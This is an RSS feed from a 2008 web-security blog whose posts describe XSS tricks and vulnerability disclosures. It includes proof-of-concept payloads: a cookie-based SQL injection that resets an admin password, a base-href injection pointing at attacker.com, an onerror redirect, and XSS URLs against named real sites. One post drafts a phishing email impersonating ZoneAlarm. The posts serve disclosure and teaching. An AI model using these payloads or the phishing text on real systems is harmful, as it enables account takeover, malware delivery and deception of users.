<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zoiz Blog &#187; XSS Corner</title>
	<atom:link href="http://zoiz.web.id/category/xss-corner/feed" rel="self" type="application/rss+xml" />
	<link>http://zoiz.web.id</link>
	<description>Was a Web Application Security Blog</description>
	<lastBuildDate>Tue, 17 Aug 2010 05:57:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>SQL Injection using XSS</title>
		<link>http://zoiz.web.id/sql-injection/sql-injection-using-xss.html</link>
		<comments>http://zoiz.web.id/sql-injection/sql-injection-using-xss.html#comments</comments>
		<pubDate>Mon, 11 Aug 2008 16:47:28 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=112</guid>
		<description><![CDATA[It&#8217;s been couple of weeks since my last post. I&#8217;ve been very busy managing my newly set up company. And I think it&#8217;s time to post another (lame) article right here on this very (lame) blog. After reading &#8220;Thousand Ways to SQL Injection&#8220;, people started to ask me whether it is possible to launch a [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been couple of weeks since my last post. I&#8217;ve been very busy managing my newly set up company. And I think it&#8217;s time to post another (lame) article right here on this very (lame) blog.</p>
<p>After reading &#8220;<a href="http://zoiz.web.id/tips/thousand-ways-to-sql-injection-a-tutorial-via-cookie-and-useragent-etc.html" target="_blank">Thousand Ways to SQL Injection</a>&#8220;, people started to ask me whether it is possible to launch a SQL injection using XSS? Some of them questioned me about the possiblity of it, some of them don&#8217;t even believe it&#8217;s possible. And well some of them say that&#8217;s gonna happen but don&#8217;t know how or never came accross one.</p>
<p>Let&#8217;s take a look at the following &#8216;fictive&#8217; (and lame) scenario of SQL Injection using XSS :</p>
<p>As we know that site abc.com uses GoodGoodCMS_v1.0 as their Content Management System. Mr. Z, the attacker, found out that GoodGoodCMS has a XSS flaw on the admin page. But well there is nothing much to exploit since GoodGoodCMS doesn&#8217;t uses Cookies as the authentication method. But Mr. Z did found out that the GoodGoodCMS uses Cookies values in SQL Query without a proper filter.</p>
<p>Guess what? Mr. Z pull a XSS and insert something like this:</p>
<p>&lt;script&gt;document.cookies=&#8221;1; UPDATE admin_table SET password=\&#8217;yihaa\&#8217; WHERE id=1&#8243;;&lt;/script&gt;</p>
<p>This is my concept of SQL Injection using XSS. Correct me if I am wrong, and you are very welcome to shout your ideas about this topic here.</p>
<p>Thanks</p>
<p>Zoiz &#8211; http://zoiz.web.id</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/sql-injection/sql-injection-using-xss.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Bypass Anti XSS Filter : A Little Nice XSS Trick</title>
		<link>http://zoiz.web.id/xss-corner/bypass-anti-xss-filter-a-little-nice-xss-trick.html</link>
		<comments>http://zoiz.web.id/xss-corner/bypass-anti-xss-filter-a-little-nice-xss-trick.html#comments</comments>
		<pubDate>Wed, 16 Jul 2008 04:52:13 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[Bypass Anti XSS Filter]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=111</guid>
		<description><![CDATA[Sometimes when I develop web applications, I&#8217;ll feel not good if I am asked to allow HTML in user inputs / outputs. What scares me? XSS I think. This morning I received an interesting email from webappsec.org mailing list. Amit Klein founds out that he can trigger a XSS without a &#60;script&#62; tag NOR inside [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes when I develop web applications, I&#8217;ll feel not good if I am asked to allow HTML in user inputs / outputs. What scares me? <a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> I think.</p>
<p>This morning I received an interesting email from <a href="http://www.webappsec.org" target="_blank">webappsec.org</a> mailing list. Amit Klein founds out that he can trigger a <a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> without a &lt;script&gt; tag NOR inside ONE. Here is the PoC :</p>
<blockquote><p>&lt;html&gt;<br />
&#8230;<br />
***XSS code may be embedded here***<br />
&#8230;<br />
&lt;script src=&#8221;/foo/bar.js&#8221;&gt;&lt;/script&gt;<br />
&#8230;<br />
&lt;/html&gt;</p></blockquote>
<p>The XSS is something like this :<span id="more-111"></span></p>
<blockquote><p>&lt;base href=&#8221;http://www.attacker.com/&#8221;&gt;</p></blockquote>
<p>And the attacker should put some JS on his host on the exact directory (ex : http://www.attacker.com/foo/bar.js). You know what happens next rite? <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>The coolest part of this XSS is it doesn&#8217;t even need a &lt;script&gt; tag or something like that. And for developers that uses / trusts blacklist approach (oranglist, greenlist, pinklist, or what ever you name it) that is usually targeting for &#8220;script&#8221;, this kind of attacks will surely bypass it.</p>
<p>Nice one Amit Klein <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>So, what is the solution? Myself suggest you not to allow your users to use HTML <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/bypass-anti-xss-filter-a-little-nice-xss-trick.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Echo Search String (Query) XSS</title>
		<link>http://zoiz.web.id/xss-corner/echo-search-string-query-xss.html</link>
		<comments>http://zoiz.web.id/xss-corner/echo-search-string-query-xss.html#comments</comments>
		<pubDate>Mon, 07 Jul 2008 07:47:07 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=110</guid>
		<description><![CDATA[Ever saw something like this : We noticed you arrived on Bla3.com searching for &#8220;GOD Sighting&#8221; You might find additional content on those search terms at this site search link The page echo your search strings. What if : inurl:thevulnsite.com intext:&#60;script&#62;alert(/xss/);&#60;/script&#62; How to use? CSRF is the answer. Remember that XSS &#38; CSRF are pal [...]]]></description>
			<content:encoded><![CDATA[<p>Ever saw something like this :</p>
<blockquote><p>We noticed you arrived on Bla3.com searching for <span style="color: #d0ffb0;"><strong>&#8220;GOD Sighting&#8221;</strong></span><br />
You might find additional content on those search terms at <a style="color: #ffffff;" href="http://bla314546546.com" target="_blank"><strong>this site search link</strong></a></p></blockquote>
<p>The page echo your search strings. What if :</p>
<blockquote><p>inurl:thevulnsite.com intext:&lt;script&gt;alert(/xss/);&lt;/script&gt;</p></blockquote>
<p>How to use? <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> is the answer. Remember that <a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> &amp; <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> are pal <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Thanks,</p>
<p>Zoiz<br />
<a href="http://zoiz.web.id" target="_blank">http://zoiz.web.id</a></p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/echo-search-string-query-xss.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WP-StatPress XSS</title>
		<link>http://zoiz.web.id/xss-corner/wp-statpress-xss.html</link>
		<comments>http://zoiz.web.id/xss-corner/wp-statpress-xss.html#comments</comments>
		<pubDate>Sat, 05 Jul 2008 15:42:09 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=109</guid>
		<description><![CDATA[If you are using WP-StatPress plugin (1.2.9 or below) on your WP blog, you might need to take a look at this : php Line 1146 : $referrer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : &#8221;); This might pull a XSS out of your admin page if a malicious user spoof the a referer URL into something [...]]]></description>
			<content:encoded><![CDATA[<p>If you are using WP-StatPress plugin (1.2.9 or below) on your WP blog, you might need to take a look at this :</p>
<p>php Line 1146 : $referrer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : &#8221;);</p>
<p>This might pull a XSS out of your admin page if a malicious user spoof the a referer URL into something like this : http://bla3.com/&#8217;&gt;&#8221;&gt;&lt;script&gt;alert(/XSS/)&lt;/script&gt;</p>
<p>You might either update your Statpress or fixed it yourself by sanitizing the $referrer.</p>
<p><a href="http://wordpress.org/extend/plugins/statpress/" target="_blank">http://wordpress.org/extend/plugins/statpress/</a></p>
<p>Credits flies to : <a href="http://blog.rogeriopvl.com" target="_blank">Rogério Vicente</a> &amp; <a href="http://wordpress.org/extend/plugins/profile/danielelippi" target="_blank">Daniele Lippi</a></p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/wp-statpress-xss.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Base64 Encoded XSS</title>
		<link>http://zoiz.web.id/xss-corner/base64-encoded-xss.html</link>
		<comments>http://zoiz.web.id/xss-corner/base64-encoded-xss.html#comments</comments>
		<pubDate>Thu, 29 May 2008 16:42:00 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=104</guid>
		<description><![CDATA[This is rare, but there is one. A live XSS out there on one of Yahoo!&#8217;s portal (Found by Lokipaki). And the XSS is base64 encoded. When I tried the XSS myself, I felt a little shocked because this XSS actually bypassed No-Script plugin. Here is the Proof of Concept : http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html Result : XSS [...]]]></description>
			<content:encoded><![CDATA[<p>This is rare, but there is one. A live XSS out there on one of Yahoo!&#8217;s portal (Found by Lokipaki). And the XSS is base64 encoded. When I tried the XSS myself, I felt a little shocked because this XSS actually bypassed No-Script plugin.</p>
<p>Here is the Proof of Concept :</p>
<p>http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html<a href="http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html" target="_blank"><br />
</a></p>
<p>Result :</p>
<p>XSS on Yahoo over No-Script plugin. It&#8217;s a triple kill! I know Yahoo! is in the No-Script white-list, but I thought No-Script was supposed to block this XSS anyway. What do you think?</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/base64-encoded-xss.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Register.net.id Bugs Hunt</title>
		<link>http://zoiz.web.id/it-news/registernetid-bugs-hunt.html</link>
		<comments>http://zoiz.web.id/it-news/registernetid-bugs-hunt.html#comments</comments>
		<pubDate>Thu, 10 Apr 2008 16:34:29 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[IT News]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[XSS Corner]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=96</guid>
		<description><![CDATA[This Might Be The Biggest Ever Zero Day Vulnerabilities Reported in Indonesia From the View of it&#8217;s Impact. Register.net.id is a .id domain registrar of Indonesia. It provided Indonesia webmasters domains at affordable prices (But I got this domain for FREE &#8211; promotion period only!! ). Since it&#8217;s a domain registrar site, so it can [...]]]></description>
			<content:encoded><![CDATA[<h2>This Might Be The Biggest Ever Zero Day Vulnerabilities Reported in Indonesia From the View of it&#8217;s Impact.</h2>
<p><a href="http://Register.net.id" target="_blank">Register.net.id</a> is a .id domain registrar of Indonesia. It provided Indonesia webmasters domains at affordable prices (But I got this domain for FREE &#8211; promotion period only!! <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  ). Since it&#8217;s a domain registrar site, so it can be considered as a very important site in Indonesia. It serves webmasters in Indonesia for their .id domains need with approximately more than 40.000 active domains, which is a huge number.</p>
<p>One of the term to apply a .id domain is that user must upload his/her personal information thingie like Personal Identity Card, NPWP, SIUP, SITU, etc. Depend on what kind of TLD he/she wanted. For example, to request a .web.id domain, an user must upload his/her Personal Identity Card (KTP). And so are other kinds of TLD. <span id="more-96"></span> Since Register.net.id holds and stores many important documents from their users, it system&#8217;s security became ultimately important. Thus my bugs hunt project began <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Those bugs below are being keep by me for some time. I&#8217;ve never publish it for public. Since I&#8217;ve reported those bugs to Register.net.id Admin and most of are are fixed, now I am able to publish what I&#8217;ve found <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="font-weight: bold;">1. Whois XSS</p>
<p>The XSS vulnerability on the Whois engine first time found by me on 14 July 2007. You can <a href="http://zoiz.web.id/xss-corner/dont-whois-my-domain.html" target="_blank">read this post about how I found it</a>, and <a href="http://zoiz.web.id/category/whois-xss" target="_blank">this post that I rewrite</a>. It&#8217;s not a big vulnerability though, but due to it&#8217;s mass, so it&#8217;s worth mentioning <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Status : <span style="font-weight: bold;">Fixed, </span>Date<span style="font-weight: bold;"> : </span><span style="font-style: italic;">unknown</span><span style="font-weight: bold;"> </span></p>
<p style="font-weight: bold;">
<p style="font-weight: bold;">2. Personal Documents Leakage</p>
<p>By modifying the document id, I am able to list all the documents that is stored on the database easily. The documents included Personal Identification Card (KTP), NPWP, SIUP, SITU, etc. This is a serious problem though.  And also a malicious user can perform an illegal request without a proper privilege to view other users personal information. If you do not know how much your personal information worth, you must read this : <a href="http://www.bankrate.com/brm/news/pf/20060221b1.asp" target="_blank">http://www.bankrate.com/brm/news/pf/20060221b1.asp</a>.</p>
<p>My friend, <a href="http://th0r.info" target="_blank">Th0R</a> has also published <a href="http://www.th0r.info/products/Th0R-WhitePaper01.rar" target="_blank">a white-paper about this personal document leakage</a> issue too <a href="http://th0r.info/?p=83" target="_blank">on his blog</a>.</p>
<p>Status : <span style="font-weight: bold;">Fixed</span>, Date : <span style="font-style: italic;">10 April 2008</span></p>
<p><span style="font-weight: bold;">3. Illegal Documents Deletion</span></p>
<p>A malicious user can delete a document or even mass deletion of documents due to lack of privilege authentication.</p>
<p>Status :<span style="font-weight: bold;"> Fixed</span>, Date : <span style="font-style: italic;">10 April 2008</span></p>
<p><span style="font-weight: bold;">4. Illegal Personal Information Listing</span></p>
<p>A malicious user can list out a victim contact information, such as address, phone number, etc.</p>
<p>Status : <span style="font-weight: bold;">Fixed</span>, Date : <span style="font-style: italic;">10 April 2008</span></p>
<p style="font-weight: bold;">
<p style="font-weight: bold;">5. Domain Deletion</p>
<p>A malicious user can <strong>DELETES ANY DOMAIN NAME</strong> that he wanted without a proper privilege. This is the <strong>BIGGEST</strong> problem I think <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Status : <span style="font-weight: bold;">Fixed</span>, Date : <span style="font-style: italic;">10 April 2008</span></p>
<p><span style="font-weight: bold;">6. Logic Flaw</span></p>
<p>And there is also a logic flaw that will let a malicious user to get what they want easier. Like a malicious user can search for any domain he wanted to delete by first finding the date of the domain is register, and then calculate the domain id from the registration date provided on whois service. <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  But with those bugs above fixed, this logic flaw seems to be useless now <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Status <span style="font-weight: bold;">: Fixed</span>, Date : <span style="font-style: italic;">10 April 2008</span></p>
<p>I have reported those bugs to Adit (<a href="http://zoiz.web.id/whois-xss/xss-whois.html" target="_blank">The webmaster that change my profile before</a> <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  ) for FREE of course, hehe. There are some more bugs that I can&#8217;t publish because it have not been fixed yet. From the information I got from Adit, he told me that they are developing the new version of Register.net.id web application. He said, my skill in Webappsec is needed when they launch it <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  That&#8217;s cool, and I can&#8217;t wait to see it! Hehe</p>
<p>Since most of the critical vulnerabilities I&#8217;ve found are fixed, <strong>Register.net.id is safer to use now and more secure than before</strong> <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>You can register your own .id domain without risking your personal information now! Sayonara~</p>
<p>Shouts to : Th0R, Arie, YS, Adit, Fl3xu5, Calvin</p>
<p>Bugs Found By :</p>
<p>Zoiz &#8211; Http://zoiz.web.id<br />
Nothing is Secure~</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/it-news/registernetid-bugs-hunt.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Critical Vulnerability on ZoneAlarm.Com</title>
		<link>http://zoiz.web.id/xss-corner/critical-xss-vulnerable-on-zonealarmcom-nothing-is-secure.html</link>
		<comments>http://zoiz.web.id/xss-corner/critical-xss-vulnerable-on-zonealarmcom-nothing-is-secure.html#comments</comments>
		<pubDate>Fri, 04 Apr 2008 03:10:22 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=93</guid>
		<description><![CDATA[Do you know or have you ever used ZoneAlarm, a product from Check Point Software Technology? ZoneAlarm is one of the most secure brands in End User Internet Security software. It’s developed by Check Point Software Technology Company. It protects over 60 million PCs from viruses, spy-wares, hackers and identity thefts. The award-winning Internet Security [...]]]></description>
			<content:encoded><![CDATA[<p>Do you know or have you ever used <a href="http://zonealarm.com" target="_blank">ZoneAlarm</a>, a product from Check Point Software Technology?</p>
<p class="MsoNormal">ZoneAlarm is one of the most secure brands in End User Internet Security software. It’s developed by Check Point Software Technology Company. It protects over 60 million PCs from viruses, spy-wares, hackers and identity thefts. The award-winning Internet Security product line is installed in end users PCs and small businesses, protecting them from Internet threats.</p>
<p class="MsoNormal">Although Check Point Company provides Internet Security service, but their web system is not 100% secure at all. I have found some critical vulnerabilities even on their own official site!! <span id="more-93"></span></p>
<p class="MsoNormal"><span>Although they are Internet Security Software developer, </span><span>that protects million of PCs from viruses, hackers, and identity thefts. But they cannot even protect their own website from web application attacks. It’s already proofed today. There are some critical <a title="Cross Site Scripting" href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> and <a title="Cross Site Request Forgery" href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> vulnerability found by <a href="http://insecurityexposed.net" target="_blank">YS</a>.</span></p>
<p class="MsoNormal">Let me start it:</p>
<p class="MsoNormal">Yesterday, I visited one of an internet café to check my emails. Each computer was installed with ZoneAlarm Software. Suddenly, a small window prompt out and reminded me to update my ZoneAlarm software.</p>
<p class="MsoNormal">I followed the instruction and was updated the ZoneAlarm software by clicking the update button. I was brought to their update page. Suddenly, a &#8220;bad idea&#8221; came into my mind.. Hehe</p>
<p class="MsoNormal">“This is a internet security website, does this security website is really secure from web application attack such as <span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a></span> and CSRF?”, I asked myself.</p>
<p><span>After that, I tried to use javascript to test whether the website has an </span><span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> </span><span>vulnerability… Ding !! BIngo, ZoneAlarm </span><span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a></span><span>ed! <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </span></p>
<p class="MsoNormal"><a title="Zone Alarm XSS 2" href="http://zoiz.web.id/images/zone-alarm-xss2-by-ys.JPG" target="_blank"><img style="vertical-align: middle;" src="http://zoiz.web.id/images/zone-alarm-xss2-by-ys.JPG" alt="Zone Alarm XSS" width="360" height="211" /></a></p>
<p class="MsoNormal">XSS is stored on Session</p>
<p><a title="Zone Alarm XSS 1" href="http://zoiz.web.id/images/zone-alarm-xss-by-ys.JPG" target="_blank"><img style="vertical-align: middle;" src="http://zoiz.web.id/images/zone-alarm-xss-by-ys.JPG" alt="ZoneAlarm XSS" width="360" height="200" /></a></p>
<p class="MsoNormal">XSS vulnerability on the shopping cart page:</p>
<p class="MsoNormal"><a title="XSS Cookie Theft" href="http://zoiz.web.id/images/zat4.JPG" target="_blank"><img style="vertical-align: middle;" src="http://zoiz.web.id/images/zat4.JPG" alt="XSS Cookie Theft" width="360" height="270" /></a></p>
<p class="MsoNormal">Display Cookie using XSS</p>
<p class="MsoNormal">This <span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS Vulnerability</a></span> can be considered as critical. Because this XSS is triggered when a user trying to update ZoneAlarm software. An attacker can easiliy smuggler a trojan or a virus into the download link, and let the user download a trojan instead of ZoneAlarm Update File.</p>
<p class="MsoNormal">This can be done easily by combining Social Engineering and trick the victims to open a page containing the XSS. For example an attacker can forge a fake email and send it to ZoneAlarm users, and trick them to update their software through the link the attacker provided.</p>
<blockquote>
<p class="MsoNormal">Dear ZoneAlarm Users,</p>
<p class="MsoNormal">Firstly we are very sorry to inform you that our automatic update system is currently ongoing some technical problem which will be fixed as soon as possible. By the time we are fixing the system, you are unable to update your ZoneAlarm system directly from your PC. But fortunately we you can do it by visiting the update link below to update your ZoneAlarm.</p>
<p class="MsoNormal"><a href="http://zonealarm-xss-link.com" target="_blank">ZoneAlarm Update</a></p>
<p class="MsoNormal">We are sorry for all the inconvenience we&#8217;ve made. And thank your for your support to our product all the time. Bla3&#8230;&#8230;</p>
</blockquote>
<p class="MsoNormal"><a href="http://download.zonealarm.com/abc/xxx/xx=%3cscript%3eevilcode/malware%3c/script"></a></p>
<p class="MsoNormal">Other possibility is the attacker create a redirection link to trick user to download the ZoneAlarm software that has been infected by malicious program through the XSS vulnerable. After the user downloaded it, and install into his/her PC, the big trouble will be occurred such as sensitive information from the user may be stolen, damages the PC, and other problems.</p>
<p class="MsoNormal"><strong>Interesting XSS on the Shopping Cart Section</strong></p>
<p class="MsoNormal">Based on my research, I found out the XSS is being stored on session too!! So that means the XSS vulnerability  may let an attacker injects the malicious script on more pages and takes more advantages too.</p>
<p>I have actually reported this to the associated party, and hope that this can be fixed asap due to it&#8217;s criticality.</p>
<p class="MsoNormal">Bingo!!! This article has told us, “<a href="http://zoiz.web.id" target="_blank">Nothing is Secure</a>”. (Always stated by Zoiz <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  )</p>
<p class="MsoNormal">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p class="MsoNormal">Notice:</p>
<p class="MsoNormal">I want to tell everyone first that &#8220;I&#8217;m not sure, whether those XSS vulnerability has found before or not. From my survey, I didn&#8217;t see those xss vulnerable was posted on other site until now. I have checked at <a href="http://xssed.com" target="_blank">XSSed.com</a>. those XSS vulnerable that i found it&#8217;s not found at the <a href="http://xssed.com" target="_blank">XSSed.com</a> too. But some other xss vulnerable on ZoneAlarm.com has been found by other people and posted at XSSed.com and it&#8217;s said Fixed already too, and it&#8217;s different to mine. Remember this article for educational purpose only.</p>
<p class="MsoNormal">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Bug Found By : YS &#8211; <a href="http://insecurityexposed.net" target="_blank">http://www.insecurityexposed.net</a><br />
Status : Reported on 3rd April 2007, Unfixed.</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/critical-xss-vulnerable-on-zonealarmcom-nothing-is-secure.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UserAgent XSS</title>
		<link>http://zoiz.web.id/xss-corner/useragent-xss.html</link>
		<comments>http://zoiz.web.id/xss-corner/useragent-xss.html#comments</comments>
		<pubDate>Tue, 25 Mar 2008 02:29:41 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/xss-corner/useragent-xss.html</guid>
		<description><![CDATA[Once you see the title you might have already know what this article is about. Yeah! Injecting some candies into your browser UserAgent might launch a XSS attack. Here&#8217;s how to do it : For those who doesn&#8217;t know how to change user agent information : To change the User Agent string, just enter about:config [...]]]></description>
			<content:encoded><![CDATA[<p>Once you see the title you might have already know what this article is about. Yeah! Injecting some candies into your browser UserAgent might launch a XSS attack. Here&#8217;s how to do it :</p>
<p><span id="more-88"></span></p>
<p>For those who doesn&#8217;t know how to change user agent information :</p>
<p>To change the User Agent string, just enter <code>about:config</code> as an address in the     address bar of FireFox,      Now press the right mouse button to get the context menu and select &#8220;String&#8221; from the menu     entry &#8220;New&#8221;. Enter the preference name &#8220;general.useragent.override&#8221;, without the quotes. Next,     enter the new User Agent value you want Mozilla Firefox to use. (You can also use a FireFox plugin to do this)</p>
<p>This is where the XSS (Cross Site Scripting) play the role. You might enter this :</p>
<p>&lt;script&gt;alert(/XSS/);&lt;/script&gt;</p>
<p>And visit the page you wanted to test, and see what happen <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Here is an example vulnerable site for you : http://www.quirksmode.org/js/detect.html</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/useragent-xss.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Massive HTML Injection Vulnerability</title>
		<link>http://zoiz.web.id/tips/massive-html-injection-vulnerability.html</link>
		<comments>http://zoiz.web.id/tips/massive-html-injection-vulnerability.html#comments</comments>
		<pubDate>Sat, 16 Feb 2008 05:14:34 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[IT News]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[Error Handler]]></category>
		<category><![CDATA[HTML Injection]]></category>
		<category><![CDATA[XSRF]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/tips/massive-html-injection-vulnerability.html</guid>
		<description><![CDATA[This could become a massive vulnerability since many sites or blogs out there allow user to post image on their article&#8217;s comment. As my small research, I found out that we could launch a HTML Injection, XSS and even CSRF attack to sites that vulnerable to this. Here is the PoC : &#60;img src=&#8221;http://zoiz.web.id/fotoku.jpg&#8221; width=&#8221;10&#8243; [...]]]></description>
			<content:encoded><![CDATA[<p>This could become a massive vulnerability since many sites or blogs out there allow user to post image on their article&#8217;s comment. As my small research, I found out that we could launch a <a href="http://zoiz.web.id/category/xss-corner">HTML Injection</a>, <a href="http://zoiz.web.id/category/xss-corner">XSS</a> and even <a href="http://zoiz.web.id/category/csrf">CSRF</a> attack to sites that vulnerable to this. Here is the PoC :</p>
<p><span id="more-81"></span></p>
<p>&lt;img src=&#8221;http://zoiz.web.id/fotoku.jpg&#8221; width=&#8221;10&#8243; height=&#8221;10&#8243; onerror=&#8221;window.location.href=&#8217;http:/zoiz.web.id&#8217;;&#8221;&gt;</p>
<p>The method is the same as <a href="http://zoiz.web.id/tips/creating-a-good-pop-up.html">my Pop Up Method</a>, it triggered javascript inside image error handler hence it bypasses javascript filter. This apply to sites that allow users to post image on their comments.</p>
<p>By : <a href="http://zoiz.web.id/">Zoiz [at] http://zoiz.web.id</a><br />
<a href="http://zoiz.web.id/">Nothing is Secure </a></p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/tips/massive-html-injection-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
